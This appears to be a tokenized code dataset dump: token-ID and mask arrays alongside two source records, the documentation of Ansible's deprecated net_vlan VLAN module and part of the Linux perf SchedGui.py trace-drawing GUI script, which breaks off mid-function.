277, 304, 267, 372, 298, 1734, 12857, 2, 421, 199, 1734, 12857, 275, 25868, 804, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
amenonsen/ansible
lib/ansible/modules/network/layer2/_net_vlan.py
21
1872
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2017, Ansible by Red Hat, inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['deprecated'], 'supported_by': 'network'} DOCUMENTATION = """ --- module: net_vlan version_added: "2.4" author: "Ricardo Carrillo Cruz (@rcarrillocruz)" short_description: Manage VLANs on network devices description: - This module provides declarative management of VLANs on network devices. deprecated: removed_in: "2.13" alternative: Use platform-specific "[netos]_vlans" module why: Updated modules released with more functionality extends_documentation_fragment: network_agnostic options: name: description: - Name of the VLAN. vlan_id: description: - ID of the VLAN. interfaces: description: - List of interfaces the VLAN should be configured on. aggregate: description: List of VLANs definitions. purge: description: - Purge VLANs not defined in the I(aggregate) parameter. default: no state: description: - State of the VLAN configuration. default: present choices: ['present', 'absent', 'active', 'suspend'] """ EXAMPLES = """ - name: configure VLAN ID and name net_vlan: vlan_id: 20 name: test-vlan - name: remove configuration net_vlan: state: absent - name: configure VLAN state net_vlan: vlan_id: state: suspend """ RETURN = """ commands: description: The list of configuration mode commands to send to the device returned: always, except for the platforms that use Netconf transport to manage the device. type: list sample: - vlan 20 - name test-vlan """
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 9708, 12, 2622, 701, 9572, 13002, 12, 12864, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 6667, 995, 490, 283, 4946, 63, 991, 356, 283, 1200, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 1851, 63, 7175, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 2502, 26, 298, 50, 530, 1005, 79, 14243, 10363, 320, 445, 6558, 90, 8593, 1195, 285, 10363, 320, 1556, 9494, 2924, 199, 3612, 63, 1802, 26, 14944, 17591, 83, 641, 2784, 7256, 199, 1802, 26, 523, 446, 961, 859, 6571, 30191, 10041, 402, 17591, 83, 272, 641, 2784, 7256, 14, 199, 6667, 26, 272, 4829, 63, 262, 26, 298, 18, 14, 969, 2, 272, 13943, 26, 3645, 4298, 13, 6100, 7369, 846, 736, 25276, 18424, 2, 859, 272, 10842, 26, 6162, 68, 4621, 14286, 543, 1655, 9330, 199, 11036, 63, 9970, 63, 7677, 26, 2784, 63, 643, 19075, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 17591, 14, 523, 10119, 63, 344, 26, 272, 1369, 26, 489, 446, 2870, 402, 314, 17591, 14, 523, 8386, 26, 272, 1369, 26, 489, 446, 3820, 402, 8386, 314, 17591, 1077, 506, 7526, 641, 14, 523, 9531, 26, 272, 1369, 26, 3820, 402, 17591, 83, 10269, 14, 523, 18503, 26, 272, 1369, 26, 489, 446, 23177, 303, 17591, 83, 440, 3247, 315, 314, 473, 8, 7516, 9, 2725, 14, 272, 849, 26, 949, 523, 1174, 26, 272, 1369, 26, 489, 446, 8511, 402, 314, 17591, 2897, 14, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 5575, 297, 283, 2682, 297, 283, 14480, 418, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 7908, 17591, 2870, 436, 536, 523, 1851, 63, 7175, 26, 272, 10119, 63, 344, 26, 3388, 272, 536, 26, 511, 13, 7175, 199, 199, 13, 536, 26, 2813, 2897, 523, 1851, 63, 7175, 26, 272, 1174, 26, 9552, 199, 199, 13, 536, 26, 7908, 17591, 1174, 523, 1851, 63, 7175, 26, 272, 10119, 63, 344, 26, 272, 1174, 26, 20288, 199, 199, 624, 199, 199, 9677, 275, 408, 199, 4405, 26, 523, 1369, 26, 710, 769, 402, 2897, 818, 3718, 370, 3222, 370, 314, 2243, 523, 2138, 26, 3544, 12, 871, 367, 314, 10677, 626, 675, 5365, 2190, 7773, 370, 9635, 314, 2243, 14, 523, 730, 26, 769, 523, 2690, 26, 272, 446, 10119, 3388, 272, 446, 536, 511, 13, 7175, 199, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 9708, 12, 2622, 701, 9572, 13002, 12, 12864, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 6667, 995, 490, 283, 4946, 63, 991, 356, 283, 1200, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 1851, 63, 7175, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 2502, 26, 298, 50, 530, 1005, 79, 14243, 10363, 320, 445, 6558, 90, 8593, 1195, 285, 10363, 320, 1556, 9494, 2924, 199, 3612, 63, 1802, 26, 14944, 17591, 83, 641, 2784, 7256, 199, 1802, 26, 523, 446, 961, 859, 6571, 30191, 10041, 402, 17591, 83, 272, 641, 2784, 7256, 14, 199, 6667, 26, 272, 4829, 63, 262, 26, 298, 18, 14, 969, 2, 272, 13943, 26, 3645, 4298, 13, 6100, 7369, 846, 736, 25276, 18424, 2, 859, 272, 10842, 26, 6162, 68, 4621, 14286, 543, 1655, 9330, 199, 11036, 63, 9970, 63, 7677, 26, 2784, 63, 643, 19075, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 17591, 14, 523, 10119, 63, 344, 26, 272, 1369, 26, 489, 446, 2870, 402, 314, 17591, 14, 523, 8386, 26, 272, 1369, 26, 489, 446, 3820, 402, 8386, 314, 17591, 1077, 506, 7526, 641, 14, 523, 9531, 26, 272, 1369, 26, 3820, 402, 17591, 83, 10269, 14, 523, 18503, 26, 272, 1369, 26, 489, 446, 23177, 303, 17591, 83, 440, 3247, 315, 314, 473, 8, 7516, 9, 2725, 14, 272, 849, 26, 949, 523, 1174, 26, 272, 1369, 26, 489, 446, 8511, 402, 314, 17591, 2897, 14, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 5575, 297, 283, 2682, 297, 283, 14480, 418, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 7908, 17591, 2870, 436, 536, 523, 1851, 63, 7175, 26, 272, 10119, 63, 344, 26, 3388, 272, 536, 26, 511, 13, 7175, 199, 199, 13, 536, 26, 2813, 2897, 523, 1851, 63, 7175, 26, 272, 1174, 26, 9552, 199, 199, 13, 536, 26, 7908, 17591, 1174, 523, 1851, 63, 7175, 26, 272, 10119, 63, 344, 26, 272, 1174, 26, 20288, 199, 199, 624, 199, 199, 9677, 275, 408, 199, 4405, 26, 523, 1369, 26, 710, 769, 402, 2897, 818, 3718, 370, 3222, 370, 314, 2243, 523, 2138, 26, 3544, 12, 871, 367, 314, 10677, 626, 675, 5365, 2190, 7773, 370, 9635, 314, 2243, 14, 523, 730, 26, 769, 523, 2690, 26, 272, 446, 10119, 3388, 272, 446, 536, 511, 13, 7175, 199, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
InfinitiveOS-Devices/android_kernel_oneplus_msm8974
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/SchedGui.py
12980
5411
# SchedGui.py - Python extension for perf script, basic GUI code for # traces drawing and overview. # # Copyright (C) 2010 by Frederic Weisbecker <fweisbec@gmail.com> # # This software is distributed under the terms of the GNU General # Public License ("GPL") version 2 as published by the Free Software # Foundation. try: import wx except ImportError: raise ImportError, "You need to install the wxpython lib for this script" class RootFrame(wx.Frame): Y_OFFSET = 100 RECT_HEIGHT = 100 RECT_SPACE = 50 EVENT_MARKING_WIDTH = 5 def __init__(self, sched_tracer, title, parent = None, id = -1): wx.Frame.__init__(self, parent, id, title) (self.screen_width, self.screen_height) = wx.GetDisplaySize() self.screen_width -= 10 self.screen_height -= 10 self.zoom = 0.5 self.scroll_scale = 20 self.sched_tracer = sched_tracer self.sched_tracer.set_root_win(self) (self.ts_start, self.ts_end) = sched_tracer.interval() self.update_width_virtual() self.nr_rects = sched_tracer.nr_rectangles() + 1 self.height_virtual = RootFrame.Y_OFFSET + (self.nr_rects * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) # whole window panel self.panel = wx.Panel(self, size=(self.screen_width, self.screen_height)) # scrollable container self.scroll = wx.ScrolledWindow(self.panel) self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale) self.scroll.EnableScrolling(True, True) self.scroll.SetFocus() # scrollable drawing area self.scroll_panel = wx.Panel(self.scroll, size=(self.screen_width - 15, self.screen_height / 2)) self.scroll_panel.Bind(wx.EVT_PAINT, self.on_paint) self.scroll_panel.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll_panel.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Bind(wx.EVT_PAINT, self.on_paint) self.scroll.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Fit() self.Fit() self.scroll_panel.SetDimensions(-1, -1, self.width_virtual, self.height_virtual, wx.SIZE_USE_EXISTING) self.txt = None self.Show(True) def us_to_px(self, val): return val / (10 ** 3) * self.zoom def px_to_us(self, val): return (val / self.zoom) * (10 ** 3) def scroll_start(self): (x, y) = self.scroll.GetViewStart() return (x * self.scroll_scale, y * self.scroll_scale) def scroll_start_us(self): (x, y) = self.scroll_start() return self.px_to_us(x) def paint_rectangle_zone(self, nr, color, top_color, start, end): offset_px = self.us_to_px(start - self.ts_start) width_px = self.us_to_px(end - self.ts_start) offset_py = RootFrame.Y_OFFSET + (nr * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) width_py = RootFrame.RECT_HEIGHT dc = self.dc if top_color is not None: (r, g, b) = top_color top_color = wx.Colour(r, g, b) brush = wx.Brush(top_color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, RootFrame.EVENT_MARKING_WIDTH) width_py -= RootFrame.EVENT_MARKING_WIDTH offset_py += RootFrame.EVENT_MARKING_WIDTH (r ,g, b) = color color = wx.Colour(r, g, b) brush = wx.Brush(color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, width_py) def update_rectangles(self, dc, start, end): start += self.ts_start end += self.ts_start self.sched_tracer.fill_zone(start, end) def on_paint(self, event): dc = wx.PaintDC(self.scroll_panel) self.dc = dc width = min(self.width_virtual, self.screen_width) (x, y) = self.scroll_start() start = self.px_to_us(x) end = self.px_to_us(x + width) self.update_rectangles(dc, start, end) def rect_from_ypixel(self, y): y -= RootFrame.Y_OFFSET rect = y / (RootFrame.RECT_HEIGHT + 